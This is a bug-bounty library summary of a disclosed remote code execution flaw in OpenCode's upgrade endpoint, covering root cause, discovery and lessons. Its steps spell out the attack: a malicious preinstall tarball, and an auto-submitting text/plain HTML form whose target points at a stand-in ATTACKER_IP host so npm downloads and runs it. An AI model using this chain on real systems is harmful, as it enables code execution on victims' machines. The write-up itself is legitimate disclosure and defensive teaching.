# Discovering and exploiting a remote code execution vulnerability in OpenCode (GHSA-632h-h47v-g4x4)

OpenCode's /global/upgrade endpoint passed unvalidated target to npm install -g, and accepted text/plain JSON, letting a malicious webpage trigger RCE via a preinstall script.

- Payout: Real-world hack
- Severity: high
- Program: OpenCode
- Credited: Datadog Security Labs
- Disclosed: 2026-09-24
- Write-up quality: 8/10
- Original: https://securitylabs.datadoghq.com/articles/opencode-upgrade-remote-code-execution/
- Library page: https://bugbountylibrary.com/r/blog%3Asecuritylabs-datadoghq-com-articles-opencode-upgrade-remote-code-execution
- Tags: domain:desktop domain:web impact:rce kind:incident platform:threat-intel sev:high tech:llm tech:nodejs technique:chained vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** OpenCode local web server /global/upgrade API endpoint
**Root cause:** The upgrade handler passed the user-supplied target string directly into `npm install -g opencode-ai@<target>`, allowing arbitrary tarball URLs, and parsed the body as JSON without checking Content-Type, so text/plain form submissions were accepted.
**Steps:**
1. Create malicious package.json with a `preinstall` script executing commands, tar it as opencode-malicious.tgz, host it publicly.
2. Host a webpage with `<form method="POST" enctype="text/plain" action="http://127.0.0.1:4096/global/upgrade">` and input name `{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"` value `"}`.
3. Auto-submit the form via JS; browser sends top-level navigation POST with body `{"target":"...","x":"="}` as text/plain.
4. Server parses body as JSON, passes target URL to `npm install -g opencode-ai@<url>`, npm fetches tarball and runs preinstall script.
**How found:** Researchers reviewed the upgrade endpoint's TypeScript handler, noticed the target string flowed into `npm install -g opencode-ai@${target}` (npm accepts tarball URLs), then examined the raw body parser and observed it JSON-parsed without verifying Content-Type, enabling a text/plain form-based cross-origin delivery.
**Exploitation:** Victim running vulnerable OpenCode (installed via npm/pnpm/Bun, no auth or cached basic-auth credentials) visits attacker page; top-level form navigation bypasses CORS and Local Network Access, reaching 127.0.0.1:4096; server installs attacker tarball and executes preinstall script, achieving RCE on the victim's machine.
**Insight:** When an endpoint feeds user input into a package manager CLI, check whether the package spec accepts URLs/tarballs, not just versions; and test whether raw body handlers skip Content-Type checks, since text/plain HTML forms can smuggle valid JSON past CORS via top-level navigation.
